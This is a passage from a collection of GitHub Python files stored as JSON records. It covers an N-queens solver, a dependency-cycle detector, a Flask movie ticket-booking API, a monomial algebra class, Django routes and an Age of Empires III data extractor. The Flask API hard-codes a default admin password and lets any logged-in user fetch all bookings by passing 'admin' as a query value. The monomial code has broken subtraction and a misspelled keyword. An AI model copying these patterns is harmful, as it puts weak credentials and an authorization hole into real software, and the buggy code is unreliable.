sendEmailAlert(\"A\")\n    time.sleep(1)","repo_name":"shiauapple/smartHome","sub_path":"ControlCenter/control_center.py","file_name":"control_center.py","file_ext":"py","file_size_in_byte":1147,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"19009020687","text":"N = int(input())\ncheck_col = [False] * N\ncheck_dia1 = [False] * 2 * N ## /\ncheck_dia2 = [False] * 2 * N ## \\\n\ncnt = 0\ndef put_queen(y):\n    global cnt\n    if(y >= N):\n        cnt += 1\n        return \n\n    for j in range(N if y else N // 2):\n        if not check_col[j] and not check_dia1[y + j] and not check_dia2[y - j]:\n            check_col[j] = True\n            check_dia1[y + j] = True\n            check_dia2[y - j] = True\n            put_queen(y + 1)\n            check_col[j] = False\n            check_dia1[y + j] = False\n            check_dia2[y - j] = False\n\nif(N % 2):\n    put_queen(0)\n    cnt *= 2\n    j = N // 2\n    check_col[j] = check_dia1[j] = check_dia2[-j] = True\n    put_queen(1)\n    print(cnt)\nelse:\n    put_queen(0)\n    print(cnt * 2)","repo_name":"leechanhoe/study-algorithm","sub_path":"src/backjoon/gold/gold4/bj9663.py","file_name":"bj9663.py","file_ext":"py","file_size_in_byte":753,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"51"}
+{"seq_id":"24810691718","text":"\"\"\"Utilties for managing dependencies in Yamlator\"\"\"\n\nimport copy\nimport hashlib\nfrom collections import defaultdict\n\n\nclass DependencyManager:\n    \"\"\"Tracks and detects dependencies between objects by representing\n    data as a Md5 hash. Once a node has been added, a depth first search\n    is executed against all nodes to detect a cycle\n    \"\"\"\n\n    def __init__(self) -> None:\n        self._graph = {}\n\n    @property\n    def graph(self) -> dict:\n        return copy.deepcopy(self._graph)\n\n    def add(self, node: str) -> str:\n        \"\"\"Add a new node to the graph. The contents of the parameter\n        `node` will be hashed with Md5\n\n        Args:\n            node (str): A string that contains the content or represents\n                an item that needs to be tracked for a cycle\n\n        Return:\n            A Md5 hash of the content provided in the `node` parameter\n        \"\"\"\n        md5 = hashlib.md5(node.encode('utf-8'))\n        digest = md5.hexdigest()\n\n        self._graph[digest] = []\n        return digest\n\n    def add_child(self, parent_hash: str, child_hash: str) -> bool:\n        \"\"\"Adds a child node to a parent node in the dependency chain\n\n        Args:\n            parent_hash (str): The Md5 hash of the parent node\n            child_hash (str): The Md5 hash of the child node\n\n        Returns:\n            True to indicate that the function completed successfully\n        \"\"\"\n        if not self._graph.get(parent_hash):\n            self._graph[parent_hash] = []\n\n        self._graph[parent_hash].append(child_hash)\n        return True\n\n    def has_cycle(self) -> bool:\n        \"\"\"Detects a cycle against the contents the manager is representing\n\n        Returns:\n            A boolean to indicate if a cycle is present. True indicates\n            a cycle was detected, False indicates no cycle is present\n        \"\"\"\n        visited = defaultdict(bool)\n        rec_stack = defaultdict(bool)\n\n        for node in self._graph:\n            if not visited[node]:\n                if self._detect_cycle(node, visited, rec_stack):\n                    return True\n        return False\n\n    def _detect_cycle(self, curr_node: str, visited: dict,\n                      rec_stack: dict) -> bool:\n        visited[curr_node] = True\n        rec_stack[curr_node] = True\n\n        parent_node = self._graph.get(curr_node, [])\n        for child_node in parent_node:\n            if not visited[child_node]:\n                if self._detect_cycle(child_node, visited, rec_stack):\n                    return True\n            elif rec_stack[child_node]:\n                return True\n\n        rec_stack[curr_node] = False\n        return False\n","repo_name":"ryan95f/yamlator","sub_path":"yamlator/parser/dependency.py","file_name":"dependency.py","file_ext":"py","file_size_in_byte":2646,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"51"}
+{"seq_id":"11838260916","text":"import csv, random\nfrom collections import defaultdict\n\n\n\ndef getWeightedRandomLanguage():\n    langWeights=defaultdict(list)\n    with open('langFreq.csv', newline='') as csvfile:\n        langReader = csv.DictReader(csvfile)\n        for row in langReader:\n            for key,value in row.items():\n                langWeights[key].append(value)\n    return random.choices(langWeights['lang'], weights=map(int, langWeights['count']))[0]\n","repo_name":"wikimedia/wikibase-termbox","sub_path":"infrastructure/load_testing/lang.py","file_name":"lang.py","file_ext":"py","file_size_in_byte":434,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"51"}
+{"seq_id":"10279658773","text":"from flask_restful import Api, Resource\nfrom flask_jwt_extended import (\n    JWTManager,\n    jwt_required,\n    create_access_token,\n    get_jwt_identity,\n)\nfrom flask import request\nfrom application.models import (\n    User,\n    Theater,\n    Show,\n    Role,\n    ShowTiming,\n    Booking,\n    show_theater_association,\n)\nfrom application.database import db\nfrom passlib.hash import bcrypt\nfrom flask import jsonify\nfrom functools import wraps\nfrom datetime import datetime\nfrom flask import current_app as app\nfrom flask import render_template\nfrom time import perf_counter_ns\nfrom .cache import cache\n\nfrom .data_access import *\n\n\ndef create_admin_user():\n    if not User.query.filter_by(Name=\"admin\").first():\n        admin_role = Role(name=\"admin\", description=\"Administrator Role\")\n        db.session.add(admin_role)\n        db.session.commit()\n        password = \"adminpassword\"\n        hashed_password = bcrypt.hash(password)\n        admin_user = User(Name=\"admin\", Password=hashed_password, IsAdmin=True)\n        admin_user.Roles.append(admin_role)\n        db.session.add(admin_user)\n        db.session.commit()\n\n\ndef admin_required(fn):\n    @wraps(fn)\n    def wrapper(*args, **kwargs):\n        start = perf_counter_ns()\n        current_user = get_jwt_identity()\n        user = User.query.filter_by(Name=current_user).first()\n        end = perf_counter_ns()\n        print(\"time taken\", end - start)\n        if user and user.IsAdmin:\n            return fn(*args, **kwargs)\n        else:\n            return {\"message\": \"Admin access required\"}, 403\n\n    return wrapper\n\n\ndef isShowFull(show_timing_id):\n    show_timing = ShowTiming.query.get(show_timing_id)\n    total_booked_tickets = (\n        Booking.query.filter_by(show_timing_id=show_timing_id)\n        .with_entities(db.func.sum(Booking.num_tickets))\n        .scalar()\n    )\n    if total_booked_tickets is None:\n        total_booked_tickets = 0\n\n    available_seats = show_timing.theater.Capacity - total_booked_tickets\n    if available_seats > 0:\n        return False\n    else:\n        return True\n\n\n# User Login resource\nclass UserLoginResource(Resource):\n    def post(self):\n        username = request.form.get(\"username\", None)\n        password = request.form.get(\"password\", None)\n\n        if not username or not password:\n            return {\"message\": \"Missing username or password\"}, 400\n\n        user = User.query.filter_by(Name=username).first()\n\n        if not user:\n            return {\"message\": \"User not found\"}, 404\n\n        if not bcrypt.verify(password, user.Password):\n            return {\"message\": \"Invalid credentials\"}, 401\n\n        access_token = create_access_token(identity=username)\n        user.last_visited = datetime.utcnow()\n        db.session.commit()\n        return {\"access_token\": access_token}, 200\n\n\n# Admin Login resource\nclass AdminLoginResource(Resource):\n    def post(self):\n        username = request.form.get(\"username\", None)\n        password = request.form.get(\"password\", None)\n\n        if not username or not password:\n            return {\"message\": \"Missing username or password\"}, 400\n\n        admin = User.query.filter_by(Name=username).first()\n\n        if not admin:\n            return {\"message\": \"User not found\"}, 404\n\n        if not bcrypt.verify(password, admin.Password):\n            return {\"message\": \"Invalid credentials\"}, 401\n\n        if not any(role.name == \"admin\" for role in admin.Roles):\n            return {\"message\": \"User is not an admin\"}, 401\n\n        access_token = create_access_token(identity=username)\n        return {\"access_token\": access_token}, 200\n\n\n# User Login resource\nclass UserRegisterationResource(Resource):\n    def post(self):\n        username = request.form.get(\"username\", None)\n        password = request.form.get(\"password\", None)\n        email = request.form.get(\"email\", None)\n\n        if not username or not password:\n            return {\"message\": \"Missing username or password\"}, 400\n\n        user = get_user(name=username)\n\n        if user:\n            return {\"message\": \"User already exists\"}, 400\n        else:\n            hashed_password = bcrypt.hash(password)\n            user = User(Name=username, Password=hashed_password, Email=email)\n            db.session.add(user)\n            db.session.commit()\n            cache.clear()\n            return {\"message\": \"User created successfully\"}, 200\n\n\nclass TheaterResource(Resource):\n    @jwt_required()\n    @admin_required\n    def post(self):\n        data = request.get_json()\n        name = data.get(\"name\")\n        place = data.get(\"place\")\n        capacity = data.get(\"capacity\")\n\n        if not all([name, place, capacity]):\n            return {\"message\": \"Please provide all required data.\"}, 400\n\n        theater = get_theater(name=name)\n        if theater:\n            return {\"message\": \"Theater already exists.\"}, 400\n\n        try:\n            theater = Theater(Name=name, Place=place, Capacity=capacity)\n            db.session.add(theater)\n            db.session.commit()\n            cache.clear()\n            return {\n                \"message\": \"Theater added successfully.\",\n                \"theater_id\": theater.TheaterID,\n            }, 201\n        except Exception as e:\n            db.session.rollback()\n            return {\"message\": \"Failed to add the theater.\", \"error\": str(e)}, 500\n\n    def get(self):\n        theaters = get_theaters()\n\n        theaters_data = [\n            {\n                \"TheaterID\": theater.TheaterID,\n                \"Name\": theater.Name,\n                \"Place\": theater.Place,\n                \"Capacity\": theater.Capacity,\n            }\n            for theater in theaters\n        ]\n        return {\"theaters\": theaters_data}, 200\n\n\nclass EditTheaterResource(Resource):\n    @jwt_required()\n    @admin_required\n    def put(self, theater_id):\n        name = request.json.get(\"theaterName\", None)\n        capacity = request.json.get(\"capacity\", None)\n\n        if not name:\n            return {\"message\": \"Please provide all required data.\"}, 400\n\n        theater = get_theater(id=theater_id)\n        if not theater:\n            return {\"message\": \"Theater not found.\"}, 404\n\n        try:\n            theater.Name = name\n            theater.Capacity = capacity\n            db.session.commit()\n            cache.clear()\n            return {\"message\": \"Theater updated successfully.\"}, 200\n        except Exception as e:\n            db.session.rollback()\n            return {\"message\": \"Failed to update the theater.\", \"error\": str(e)}, 500\n\n    @jwt_required()\n    @admin_required\n    def delete(self, theater_id):\n        theater = get_theater(id=theater_id)\n        if not theater:\n            return {\"message\": \"Theater not found.\"}, 404\n\n        try:\n            shows = ShowTiming.query.filter_by(TheaterID=theater_id).all()\n            ShowTiming.query.filter_by(TheaterID=theater_id).delete()\n            for show in shows:\n                Booking.query.filter_by(show_timing_id=show.TimingID).delete()\n            db.session.delete(theater)\n            db.session.commit()\n            cache.clear()\n            return {\"message\": \"Theater deleted successfully.\"}, 200\n        except Exception as e:\n            db.session.rollback()\n            return {\"message\": \"Failed to delete the theater.\", \"error\": str(e)}, 500\n\n\nclass ShowResource(Resource):\n    @jwt_required()\n    @admin_required\n    def post(self):\n        data = request.get_json()\n        name = data.get(\"name\")\n        rating = data.get(\"ratings\")\n        tags = data.get(\"tags\")\n        ticket_price = data.get(\"ticket_price\")\n        theaters_data = data.get(\"theaters\")\n\n        if not all([name, ticket_price, theaters_data]):\n            return {\"message\": \"Please provide all required data.\"}, 400\n\n        try:\n            show = Show(Name=name, Rating=rating, Tags=tags, TicketPrice=ticket_price)\n            db.session.add(show)\n            db.session.flush()\n\n            for theater_data in data[\"theaters\"]:\n                theater_data[\"timing\"] = datetime.strptime(\n                    theater_data[\"timing\"], \"%Y-%m-%d %H:%M:%S\"\n                )\n\n            for theater_data in theaters_data:\n                theater_id = theater_data.get(\"theater_id\")\n                timing = theater_data.get(\"timing\")\n\n                if not theater_id or not timing:\n                    continue\n\n                theater = get_theater(id=theater_id)\n                if not theater:\n                    continue\n\n                new_timing = timing\n                existing_timings = ShowTiming.query.filter_by(\n                    TheaterID=theater_id\n                ).all()\n                for existing_timing in existing_timings:\n                    print(existing_timing.Timing)\n                    if existing_timing.Timing == new_timing:\n                        return {\n                            \"message\": \"Show timing conflicts with an existing show timing.\"\n                        }, 409\n\n                show_timing = ShowTiming(\n                    ShowID=show.ShowID, TheaterID=theater_id, Timing=timing\n                )\n                db.session.add(show_timing)\n                show.theaters.append(theater)\n\n            db.session.commit()\n            cache.clear()\n            return {\n                \"message\": \"Show added to theaters successfully.\",\n                \"show_id\": show.ShowID,\n            }, 201\n        except Exception as e:\n            db.session.rollback()\n            return {\n                \"message\": \"Failed to add the show to theaters.\",\n                \"error\": str(e),\n            }, 500\n\n    def get(self):\n        current = request.args.get(\"current\")\n        now = datetime.now()\n        if current == \"0\":\n            shows = Show.query.all()\n        else:\n            shows = Show.query.join(Show.timings).filter(ShowTiming.Timing > now).all()\n        shows_data = [\n            {\n                \"ShowID\": show.ShowID,\n                \"Name\": show.Name,\n                \"Rating\": show.Rating,\n                \"Tags\": show.Tags,\n                \"TicketPrice\": show.TicketPrice,\n                \"Theaters\": [\n                    {\n                        \"TheaterID\": theater.TheaterID,\n                        \"Name\": theater.Name,\n                        \"Place\": theater.Place,\n                    }\n                    for theater in show.theaters\n                ],\n                \"Timings\": [\n                    {\n                        \"TimingID\": timing.TimingID,\n                        \"Timing\": timing.Timing.strftime(\"%Y-%m-%d %H:%M:%S\"),\n                        \"TheaterID\": timing.TheaterID,\n                        \"show_id\": timing.ShowID,\n                        \"isShowFull\": isShowFull(timing.TimingID),\n                    }\n                    for timing in show.timings\n                ],\n            }\n            for show in shows\n        ]\n        return {\"shows\": shows_data}, 200\n\n\nclass EditShowResource(Resource):\n    @jwt_required()\n    @admin_required\n    def put(self, show_id):\n        data = request.get_json()\n        print(data)\n        name = data.get(\"showName\")\n        rating = data.get(\"showRating\")\n        tags = data.get(\"tags\")\n        ticket_price = data.get(\"ticketPrice\")\n\n        if not all([name, ticket_price]):\n            return {\"message\": \"Please provide all required data.\"}, 400\n\n        show = get_show(show_id=show_id)\n        if not show:\n            return {\"message\": \"Show not found.\"}, 404\n\n        try:\n            show.Name = name\n            show.Rating = rating\n            show.Tags = tags\n            show.TicketPrice = ticket_price\n            db.session.commit()\n            cache.clear()\n            return {\"message\": \"Show updated successfully.\"}, 200\n        except Exception as e:\n            db.session.rollback()\n            return {\"message\": \"Failed to update the show.\", \"error\": str(e)}, 500\n\n    @jwt_required()\n    @admin_required\n    def delete(self, show_id):\n        show = get_show(show_id=show_id)\n        if not show:\n            return {\"message\": \"Show not found.\"}, 404\n\n        try:\n            show_timing = ShowTiming.query.filter_by(ShowID=show_id).first()\n            ShowTiming.query.filter_by(ShowID=show_id).delete()\n            Booking.query.filter_by(show_timing_id=show_timing.TimingID).delete()\n            db.session.delete(show)\n            db.session.commit()\n            cache.clear()\n            return {\"message\": \"Show deleted successfully.\"}, 200\n        except Exception as e:\n            db.session.rollback()\n            return {\"message\": \"Failed to delete the show.\", \"error\": str(e)}, 500\n\n\nclass BookingResource(Resource):\n    @jwt_required()\n    def post(self):\n        data = request.get_json()\n        user = data.get(\"user\")\n        show_timing_id = data.get(\"show_timing_id\")\n        num_tickets = data.get(\"num_tickets\")\n        theaterId = data.get(\"theaterId\")\n\n        user_id = get_user(name=user).UserID\n\n        if not all([user_id, show_timing_id, num_tickets]):\n            return {\"message\": \"Please provide all required data.\"}, 400\n\n        try:\n            show_timing = ShowTiming.query.get(show_timing_id)\n            if not show_timing:\n                return {\"message\": \"Invalid show timing ID.\"}, 404\n\n            if show_timing.Timing < datetime.utcnow():\n                return {\n                    \"message\": \"The show has already taken place. Cannot book tickets for past shows.\"\n                }, 400\n\n            total_booked_tickets = (\n                Booking.query.filter_by(show_timing_id=show_timing_id)\n                .with_entities(db.func.sum(Booking.num_tickets))\n                .scalar()\n            )\n            if total_booked_tickets is None:\n                total_booked_tickets = 0\n\n            available_seats = show_timing.theater.Capacity - total_booked_tickets\n            if int(num_tickets) > available_seats:\n                return {\n                    \"message\": f\"Not enough seats available. Only {available_seats} seats left for this show timing.\"\n                }, 400\n\n            booking = Booking(\n                user_id=user_id, show_timing_id=show_timing_id, num_tickets=num_tickets\n            )\n            db.session.add(booking)\n            db.session.commit()\n            cache.clear()\n            return {\n                \"message\": \"Booking created successfully.\",\n                \"booking_id\": booking.id,\n            }, 201\n        except Exception as e:\n            db.session.rollback()\n            return {\"message\": \"Failed to create booking.\", \"error\": str(e)}, 500\n\n    @jwt_required()\n    def get(self):\n        user = request.args.get(\"user\")\n\n        user_id = get_user(name=user).UserID\n\n        if not user:\n            return {\"message\": \"User is required.\"}, 400\n\n        bookings = get_booking(user_id)\n        if user == \"admin\":\n            bookings = get_all_bookings()\n        if not bookings:\n            return {\"message\": \"No bookings found for the given user.\"}, 404\n\n        booking_info_list = []\n\n        for booking in bookings:\n            show_timing = ShowTiming.query.filter_by(\n                TimingID=booking.show_timing_id\n            ).first()\n            theater_id = show_timing.TheaterID\n            show_id = show_timing.ShowID\n            show = get_show(show_id)\n            show_name = show.Name\n            theater_name = get_theater(id=theater_id).Name\n            booking_info = {\n                \"BookingID\": booking.id,\n                \"ShowName\": show_name,\n                \"ShowDate\": show_timing.Timing.strftime(\"%Y-%m-%d\"),\n                \"ShowTiming\": show_timing.Timing.strftime(\"%H:%M:%S\"),\n                \"TheaterName\": theater_name,\n                \"NumTickets\": booking.num_tickets,\n                \"BookingDate\": booking.booking_date.strftime(\"%Y-%m-%d\"),\n            }\n\n            booking_info_list.append(booking_info)\n\n        return {\"bookings\": booking_info_list}, 200\n\n\nclass TheaterSearchResource(Resource):\n    def get(self):\n        location_preference = request.args.get(\"location\")\n        if not location_preference:\n            return {\"message\": \"Location preference is required.\"}, 400\n\n        theaters = Theater.query.filter(\n            Theater.Place.ilike(f\"%{location_preference}%\")\n        ).all()\n        if not theaters:\n            return {\n                \"message\": \"No theaters found for the given location preference.\"\n            }, 404\n\n        theaters_data = [\n            {\n                \"TheaterID\": theater.TheaterID,\n                \"Name\": theater.Name,\n                \"Place\": theater.Place,\n                \"Capacity\": theater.Capacity,\n            }\n            for theater in theaters\n        ]\n        return {\"theaters\": theaters_data}, 200\n\n\nclass ShowSearchResource(Resource):\n    def get(self):\n        tags = request.args.get(\"tags\")\n        rating = request.args.get(\"rating\")\n        print(\"tags and ratings\", tags, rating)\n\n        query = Show.query.join(ShowTiming).join(Theater)\n\n        if tags:\n            query = query.filter(Show.Tags.ilike(f\"%{tags}%\"))\n\n        if rating:\n            query = query.filter(Show.Rating == rating)\n\n        shows = query.all()\n\n        if tags is None and rating is None:\n            shows = Show.query.all()\n\n        if not shows:\n            return {\"message\": \"No movies found for the given criteria.\"}, 404\n\n        for show in shows:\n            print(show.Name, show.Rating, show.Tags)\n\n        shows_data = [\n            {\n                \"ShowID\": show.ShowID,\n                \"Name\": show.Name,\n                \"Rating\": show.Rating,\n                \"Tags\": show.Tags,\n                \"TicketPrice\": show.TicketPrice,\n            }\n            for show in shows\n        ]\n        return {\"shows\": shows_data}, 200\n\n\nimport os\nfrom flask import Flask, send_from_directory\nfrom flask_restful import Resource\nimport pandas as pd\n\n\nclass ExportResource(Resource):\n    @jwt_required()\n    @admin_required\n    def get(self, theater_id):\n        theater = get_theater(id=theater_id)\n        shows = get_shows()\n        show_name= []\n        show_rating = []\n        show_tags = []\n        for show in shows:\n            show_name.append(show.Name)\n            show_rating.append(show.Rating)\n            show_tags.append(show.Tags)\n        theater_data = {\n            \"name\": theater.Name,\n            \"place\": theater.Place,\n            \"capacity\": theater.Capacity,\n            \"show_name\": show_name,\n            \"show_rating\": show_rating,\n            \"show_tags\": show_tags\n        }\n        data = pd.DataFrame(theater_data)\n\n        export_folder = os.path.join(app.static_folder, \"exports\")\n        os.makedirs(export_folder, exist_ok=True)\n        csv_path = os.path.join(export_folder, \"theater_data.csv\")\n        data.to_csv(csv_path, index=False)\n\n        return send_from_directory(\n            directory=export_folder,\n            path=\"theater_data.csv\",\n            as_attachment=True,\n            mimetype=\"text/csv\",\n        )\n\n\nfrom .tasks import (\n    create_analytics,\n    create_plots,\n    verify_activity,\n    reminder_email,\n    get_bookings_for_previous_month,\n)\n","repo_name":"shubham-lole/Ticket-Booking-App","sub_path":"backend/application/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":19134,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"4991417362","text":"import re \nimport numbers\nfrom typing import Dict, Union, List\nfrom functools import reduce  \nfrom collections import defaultdict \n\nfrom .rings import Evaluable, Numeric\n\nexp_unicode = ['\\u00b2', '\\u00b3', '\\u2074', '\\u2075', '\\u2076', '\\u2077', '\\u2078', '\\u2079']\ndef power_repr(var: str, exp: int = 1): \n    if exp == 0: \n        return var \n    elif exp < 0: \n        return f\"{var}^({exp})\"\n    elif exp <= 1: \n        return var \n    elif exp <= 9: \n        return f\"{var}{exp_unicode[exp-2]}\"\n    else: \n        return f\"{var}^{exp}\"\n\nclass Monomial(Evaluable): \n\n    coeff: numbers.Number \n    exponents: Dict[str, int] \n    order: int \n    vars: List[str]\n\n    def __init__(self, coeff: numbers.Number=1, exponents: dict[str, int]={}): \n        self.coeff = coeff \n        self.exponents = { k: exponents[k] for k in exponents if exponents[k] != 0 } if coeff != 0 else {}\n        self.order = sum([self.exponents[var] for var in self.exponents])\n        self.vars = sorted([k for k in self.exponents]) \n        #print(f\"{self.coeff}: {self.exponents}\")\n    \n    def __eq__(self, other): \n        if not isinstance(other, Monomial): return False \n        return self.coeff == other.coeff and self.exponents == other.exponents \n    \n    @property \n    def is_negative(self): \n        return self.coeff < 0\n    \n    @property \n    def term_join_symbol(self): \n        return '-' if self.is_negative else '+'\n    \n    @property \n    def without_sign(self): \n        return str(-self) if self.is_negative else str(self) \n    \n    @property \n    def num_vars(self): \n        return len(self.exponents) \n\n    def is_linear_in(self, var): \n        if var not in self.exponents: return True \n        return self.exponents[var] in (0, 1) \n    \n    @property \n    def is_linear(self): \n        return self.num_vars == 0 or (\n            self.num_vars == 1 and self.is_linear_in(next(iter(self.exponents)))\n        )\n    \n    def divides(self, other): \n        return other.exponents_larger_than(self) \n    \n    def has_common_exponents(self, other) -> bool: \n        return isinstance(other, Monomial) and self.exponents == other.exponents\n    \n    def as_monomial(self): \n        return Monomial(coeff=1, exponents=self.exponents)\n\n    def exponents_larger_than(self, other) -> bool: \n        for e in other.exponents: \n            if not e in self.exponents: return False \n            if self.exponents[e] < other.exponents[e]: return False \n        return True \n    \n    def __hash__(self): \n        return hash((self.coeff, *self.exponents.items()))\n\n    def scale(self, coeff): \n        return Monomial(coeff =  self.coeff * coeff, expoennts=self.exponents)\n    \n    def __xor__(self, value):\n        return self.__pow__(value) \n    \n    def __pow__(self, value): \n        new_exponents = {k: (self.exponents[k] * value) for k in self.exponents}\n        return Monomial(coeff = self.coeff ** value, exponents = new_exponents)\n    \n    def __add__(self, other): \n        if not isinstance(other, Monomial): \n            return other + self \n        if not self.has_common_exponents(other): \n            raise ValueError(f\"Cannot add two terms with different monomials\")\n        return Monomial(coeff=self.coeff + other.coeff, exponents=self.exponents) \n    \n    def __sub__(self, other): \n        return other + (-other)\n    \n    def __neg__(self): \n        return Monomial(coeff = -self.coeff, exponents=self.exponents) \n    \n    def __mul__(self, other): \n        if isinstance(other, numbers.Number): \n            return Monomial(coeff=self.coeff * other, exponents=self.exponents)\n        if not isinstance(other, Monomial): \n            return other * self \n        new_exponents = { **self.exponents } \n        for e in other.exponents: \n            new_exponents[e] = other.exponents[e] + new_exponents.get(e, 0)\n        return Monomial(coeff = self.coeff * other.coeff, exponents=new_exponents)\n    \n    def __rmul__(self, other): \n        return self.__mul__(other) \n    \n    def __truediv__(self, other): \n        if isinstance(other, numbers.Number): \n            return Monomial(coeff=self.coeff / other, exponents=self.exponents)\n        if not isinstance(other, Monomial): \n            return other / self \n        if not self.exponents_larger_than(other): raise ValueError(other) \n        new_exponents = { k: self.exponents[k] - other.exponents.get(k, 0) for k in self.exponents }\n        return Monomial(coeff = self.coeff / other.coeff, exponents = new_exponents)\n    \n    def __getitem__(self, subst: Dict[str, Numeric]) -> Numeric: \n        \"\"\"Peforms substitution on a term\n        \"\"\"\n        exp_values = [subst[k] ** self.exponents[k] for k in self.exponents if k in subst]\n        remaining_monomial = Monomial(coeff=1, exponents={ k: self.exponents[k] for k in self.exponents if k not in subst })\n        new_monomial = reduce(lambda x, y: x * y, exp_values, remaining_monomial) \n        return new_monomial * self.coeff \n    \n    def __repr__(self): \n        if len(self.exponents) == 0: \n            return str(self.coeff) \n        else: \n            coeff_str = str(self.coeff) if self.coeff != 1 else \"\" \n            exps = [power_repr(var, self.exponents[var]) for var in self.exponents]\n            exps_str = \"\".join(exps)\n            return f\"{coeff_str}{exps_str}\"\n\nterm_regexp = re.compile(\"^(-?\\\\d*\\\\.?\\\\d*)?((?:[a-zA-Z](?:\\\\^\\\\d+)?)*)$\")\nexp_regexp = re.compile(\"([a-zA-Z])(\\\\^\\\\d+)?\")\n\ndef term(term_str: Union[str, numbers.Number]) -> Monomial: \n    if isinstance(term_str, numbers.Number): \n        return Monomial(coeff=term_str)\n    term_str = term_str.strip() \n    if len(term_str) == 0: \n        return Monomial(coeff=0)\n    term_matcher = term_regexp.match(term_str) \n    if term_matcher is None: \n        raise ValueError(term_str) \n    coeff: numbers.Number = 0.0\n    (coeff_str, vars_str) = term_matcher.groups() \n    if coeff_str is None or coeff_str == \"\": \n        coeff = 1 \n    elif coeff_str == \"-\": \n        coeff = -1\n    elif coeff_str.find(\".\") != -1: \n        coeff = float(coeff_str)\n    else: \n        coeff = int(coeff_str) \n    exp_strs = exp_regexp.findall(vars_str) \n    exps = { v: int(e[1:]) if len(e) > 0 else 1 for (v, e) in exp_strs }\n    return Monomial(coeff=coeff, exponents=exps) \n\ndef group_monomials(*terms: Monomial) -> dict[Monomial, List[Monomial]]: \n    d = defaultdict(list) \n    for t in terms: \n        d[t.as_monomial()].append(t) \n    return { **d } \n\n    ","repo_name":"tdanford/ideals","sub_path":"python/ideals/monomials.py","file_name":"monomials.py","file_ext":"py","file_size_in_byte":6444,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"15950587609","text":"from django.conf.urls import url\r\nfrom . import views\r\n\r\n\r\nurlpatterns = [\r\n    url(r'^$', views.title_list, name='title_list'),\r\n    url(r'^title/(?P<pk>\\d+)/$', views.title_detail, name='title_detail'),\r\n    url(r'^about/$', views.about, name='about'),\r\n    url(r'^participate/$', views.participate, name='participate'),\r\n    url(r'^contact/$', views.contact, name='contact'),\r\n    url(r'^movies/$', views.movies, name='movies'),\r\n    url(r'^tv/$', views.tv, name='tv'),\r\n    url(r'^search/$', views.search, name='search'),\r\n    url(r'^people/$', views.people_list, name='people_list'),\r\n    url(r'^current_datetime/$', views.current_datetime, name='current_datetime'),\r\n]\r\n","repo_name":"RealMerican/realmericanmovienite","sub_path":"mrdb/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":676,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"7333476580","text":"import pandas as pd\nimport xml.etree.ElementTree as ET\n\n#proto_xml=r\"C:\\Program Files (x86)\\Microsoft Games\\Age of Empires III\\data\\protoy.xml\"\n#techtree_xml=r\"C:\\Program Files (x86)\\Microsoft Games\\Age of Empires III\\data\\techtreey.xml\"\n# to get homecity xml, go here http://aoe3.heavengames.com/downloads/showfile.php?fileid=3686 and extract data.bar\n# homecity_xml=r\"C:\\Users\\A\\Downloads\\AOE3H\\Data\\homecityfrench.xml\"\nfrom pathlib import Path\nimport pandas as pd\n\nxml_dir = Path(__file__).parent.parent / \"xml\" \n\nproto_xml = xml_dir / \"protoy.xml\"\ntechtree_xml = xml_dir / \"techtreey.xml\"\n\n\n# protoy has units + tech , costs, stats \n# techtree has what civs get what units\n\netree = ET.parse(proto_xml) #create an ElementTree object \nproto_root = etree.getroot()\n# proto_units = [a for a in proto_units if \n# proto_crate = proto_root.findall('.//*[UnitType=\"AbstractResourceCrate\"]')\n\n# villager_names = set([vil.attrib['name'] for vil in proto_vils])\n\n\netree = ET.parse(techtree_xml) #create an ElementTree object \ntech_root = etree.getroot()\ntech_ships = tech_root.findall(\".//cost[@resourcetype='Ships']...\") \n\ncivs = [\n  {'name': 'French', 'homecity': 'homecityfrench', },\n  {'name': 'Russian', 'homecity': 'homecityrussians', },\n  {'name': 'British', 'homecity': 'homecitybritish', },\n  {'name': 'Dutch', 'homecity': 'homecitydutch', },\n  {'name': 'German', 'homecity': 'homecitygerman', },\n  {'name': 'Portuguese', 'homecity': 'homecityportuguese', },\n  {'name': 'Ottoman', 'homecity': 'homecityottomans', },\n  {'name': 'Spanish', 'homecity': 'homecityspanish', },\n  {'name': 'Iroquois', 'homecity': 'homecityxpiroquois', },\n  {'name': 'Aztec', 'homecity': 'homecityxpaztec', },\n  {'name': 'Sioux', 'homecity': 'homecityxpsioux', },\n  {'name': 'Japanese', 'homecity': 'homecityjapanese', },\n  {'name': 'Chinese', 'homecity': 'homecitychinese', },\n  {'name': 'Indians', 'homecity': 'homecityindians', },\n  {'name': 'Inca', 'homecity': 'homecitydeinca', },\n  {'name': 'Swedish', 'homecity': 'homecityswedish', },\n  ]\n  \ndf_common = pd.DataFrame([{\n    'name': ship.attrib['name'],\n    'icon': ship.find(\".//icon\").text\n} for ship in tech_ships\n], dtype=pd.StringDtype())\n\ndata = []\n\nfor civ in civs:\n    homecity_xml = xml_dir / (civ['homecity'] + \".xml\")\n    etree = ET.parse(homecity_xml)\n    homecity_root = etree.getroot()\n    cards = homecity_root.find(\".//cards\").findall(\".//card\")\n    for card in cards:\n        dat = {\n            \"civ\": civ['name'],\n            \"name\": card.find(\".name\").text,\n            \"age\": int(card.find(\".age\").text)+1,\n            \"maxcount\": card.find(\".maxcount\").text,\n        }\n        try:\n            dat[\"displayunitcount\"] = card.find(\".displayunitcount\").text\n        except:\n            dat[\"displayunitcount\"] = \"\"\n        data.append(dat)\ndf = pd.DataFrame(data, dtype=pd.StringDtype())\n\ndf = pd.merge(df,df_common,on=\"name\")\ndf = df.sort_values([\"civ\",\"age\"])\ndf.to_json(\"shipments.json\",'records')","repo_name":"andrewgsavage/andrewgsavage.github.io","sub_path":"aoe3_damage_calc/aoe3_damage_calc/shpments.py","file_name":"shpments.py","file_ext":"py","file_size_in_byte":2954,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"51"}
